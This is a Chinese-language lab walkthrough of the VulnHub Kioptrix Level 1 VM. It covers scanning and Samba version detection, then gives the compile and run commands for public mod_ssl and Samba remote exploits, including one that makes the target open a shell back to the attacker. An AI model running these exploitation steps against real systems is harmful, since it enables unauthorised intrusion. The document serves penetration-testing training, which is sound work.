打靶环境:
攻击机:kali 192.168.101.66
靶机:Red-Hat/Linux 192.168.101.65
靶机下载地址:
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
过时软件风险
拿到一台目标主机,首先要对其进行信息收集。获取主机IP地址后,往往先使用nmap进行端口扫描,以获得主机的开放情况以及对应的服务信息。本例中导入靶机后并不知道主机IP地址,但已知目标主机和kali在同一个网段下,可以先进行主机发现扫描。
实际安装过程中,靶机只能选择桥接模式,所有只能更改kali主机的网络类型
netdiscover -i eth0
由于是桥接模式,所以主机发现时候,会发现我本地家用路由器下面连的其他设备的地址。从扫描结果可以找到目标主机地址为:192.168.101.65
使用nmap 进行扫描
nmap -sC -sV -p- -A 192.168.101.65
扫描结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
| 1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_ 1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2023-05-07T14:02:32+00:00; +1m48s from scanner time.
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_http-title: 400 Bad Request
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: 1m47s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user:
TRACEROUTE
HOP RTT ADDRESS
1 1.20 ms 192.168.101.65
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.08 seconds
通过扫描结果可以发现,该主机开放了很多常见的端口,其中80、443端口分别对外提供http和https服务,分别访问两个端口,结构为apache测试界面,并没有发现更多信息
虽然web页面的内容未能提供新的价值信息,但是该apache中间件服务的版本却引起注意。仔细看一下nmap提供的扫描结果,会发现检测到的目标主机apache中间件的版本非常古老,还是apache1.3.20版本,这个版本的发现日期是2001年,有二十多年了。对应的目标主机443端口使用的ssl服务也相当古老,为mod_ssl/2.8.4版本
此时访问Exploit Database,https://www.exploit-db.com/
搜索mod_ssl ,会发现mod_ssl/2.8.4 存在已知的远程缓冲区溢出漏洞。如此一来,我们就可以拿利用该漏洞获得目标主机系统权限。
下载对应的代码
注意代码中的注释,往往会告知使用者使用方式或者编译方法。
将下载的C文件重命名为 OpenFuck.c 按照要求编译代码
gcc -o OpenFuck OpenFuck.c -lcrypto
此时编译出错,缺少openssl/ssl.h这个库文件
回过头再来看看代码注释中的要求,需要按照libssl-dev
apt-get install libssl-dev
然后重新编译OpenFuck.c 文件
编译完成后,执行
./OpenFuck 获取该可执行文件的使用说明
根据使用说明我们知道,需要知道目标主机的操作系统类型,apache版本选择选择不同的参数,通过上面的nmap扫描结果可知,目标主机运行这RedHat Linux 操作系统,同时apache版本是1.3.20, 满足该条件的参数有两个,分别是0x6a和0x6b
目前尚无法获取更详细的目标主机信息,因此需要分别基于0x6a、0x6b测试利用漏洞的执行结果。
分别执行如下两个命令:
./OpenFuck 0x6a 192.168.101.65 443 -c 40
./OpenFuck 0x6b 192.168.101.65 443 -c 40
最后只有 0x6b参数获取目标主机权限
根据apache和mod_ssl版本的老旧请求,是否可以合理地推测该目标主机的其他开放端口所运行的版本服务也可能是旧版本。该目标主机开放的服务中还存在一个漏洞大户,即位于139端口的Samba服务,若Samba服务的版本也非常古老,那么它也可能是一个可利用的渗透途径。
之前通过nmap扫描未能成功获取Samba服务的准确版本号,因此需要追加其他检测方法来确认上述假设。
使用metsploit 再次对Samba服务进行版本检测,在终端数据msfconsole启动,输入search smb 获取所有与Samba相关的payload信息,这是会找到一个专门用来探测Samba服务的具体版本的payload( auxiliary/scanner/smb/smb_version)
使用该模块
use auxiliary/scanner/smb/smb_version
查看参数设置
如上图所示,只需要设置RHOSTS参数即可
通过执行扫描,发现该目标主机Samba服务的具体版本号为:2.2.1a ,这确实是一个非常古老的版本,印证了之前的猜想。
在Exploit Database搜索 samba 2.2. 关键字,会获取大量可用的exploit信息。
这里选择下载 https://www.exploit-db.com/exploits/10 这个exploit
由于代码注释中没有要求特定的参数编译,故可以直接下载到本地进行编译
gcc 10.c -o smb
利用Samba远程命令执行漏洞
基于上图帮助信息,并根据前面nmap的扫描信息,可以构造如下命令参数:
./smb -b 0 -c 192.168.101.66 192.168.101.65
其中 -c 参数后的IP 192.168.101.66 是回连地址,也就是攻击机,kali的地址,192.168.101.66 是目标主机地址
注意:
在实际渗透过程中,Metasploit这一类高度集成化工具无法成功利用的情况,针对同一漏洞,某些exploit无法使用,而另一种exploit一次就可以成功或几次才成功。